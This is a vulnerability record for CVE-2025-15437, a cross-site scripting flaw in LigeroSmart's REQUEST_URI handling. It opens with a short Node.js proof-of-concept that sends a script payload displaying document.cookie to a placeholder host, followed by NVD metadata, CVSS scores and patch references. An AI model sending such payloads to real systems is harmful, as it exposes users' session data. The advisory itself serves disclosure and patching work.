CVE-2025-15437

// CVE-2025-15437 XSS PoC // Target: LigeroSmart Environment Variable Handler // Payload: <script>alert(document.cookie)</script> const http = require('http'); const targetHost = 'vulnerable-server.com'; const targetPort = 80; const targetPath = '/index.pl'; // XSS payload in REQUEST_URI parameter const xssPayload = '<script>alert(document.cookie)</script>'; const maliciousUri = `/index.pl?REQUEST_URI=${encodeURIComponent(xssPayload)}`; const options = { hostname: targetHost, port: targetPort, path: maliciousUri, method: 'GET', headers: { 'User-Agent': 'Mozilla/5.0 (XSS Tester)', 'Accept': 'text/html,application/xhtml+xml' } }; const req = http.request(options, (res) => { console.log(`Status: ${res.statusCode}`); console.log('XSS payload sent. Check if alert box appears in browser.'); }); req.on('error', (e) => { console.error(`Request error: ${e.message}`); }); req.end(); // Alternative: Direct URL for manual testing console.log(`\nManual test URL: http://${targetHost}:${targetPort}${maliciousUri}`);

{"cve": {"id": "CVE-2025-15437", "sourceIdentifier": "[email protected]", "published": "2026-01-02T09:15:42.453", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was found in LigeroSmart up to 6.1.24. This affects an unknown part of the component Environment Variable Handler. Performing a manipulation of the argument REQUEST_URI results in cross site scripting. The attack may be initiated remotely. The exploit has been made public and could be used. Upgrading to version 6.1.26 and 6.3 is able to mitigate this issue. The patch is named 264ac5b2be5b3c673ebd8cb862e673f5d300d9a7. The affected component should be upgraded."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.0, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N", "baseScore": 3.5, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:N/I:P/A:N", "baseScore": 4.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "availabilityImpact": "NONE"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}, {"lang": "en", "value": "CWE-94"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ligerosmart:ligerosmart:*:*:*:*:*:*:*:*", "versionEndIncluding": "6.1.24", "matchCriteriaId": "B77D3C25-59EA-487F-A514-AB4279A163BC"}]}]}], "references": [{"url": "https://github.com/LigeroSmart/ligerosmart/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/LigeroSmart/ligerosmart/commit/264ac5b2be5b3c673ebd8cb862e673f5d300d9a7", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/LigeroSmart/ligerosmart/issues/278", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/LigeroSmart/ligerosmart/issues/278#issuecomment-3675129508", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://github.com/LigeroSmart/ligerosmart/releases/tag/6.1.26", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://vuldb.com/?ctiid.339364" ... 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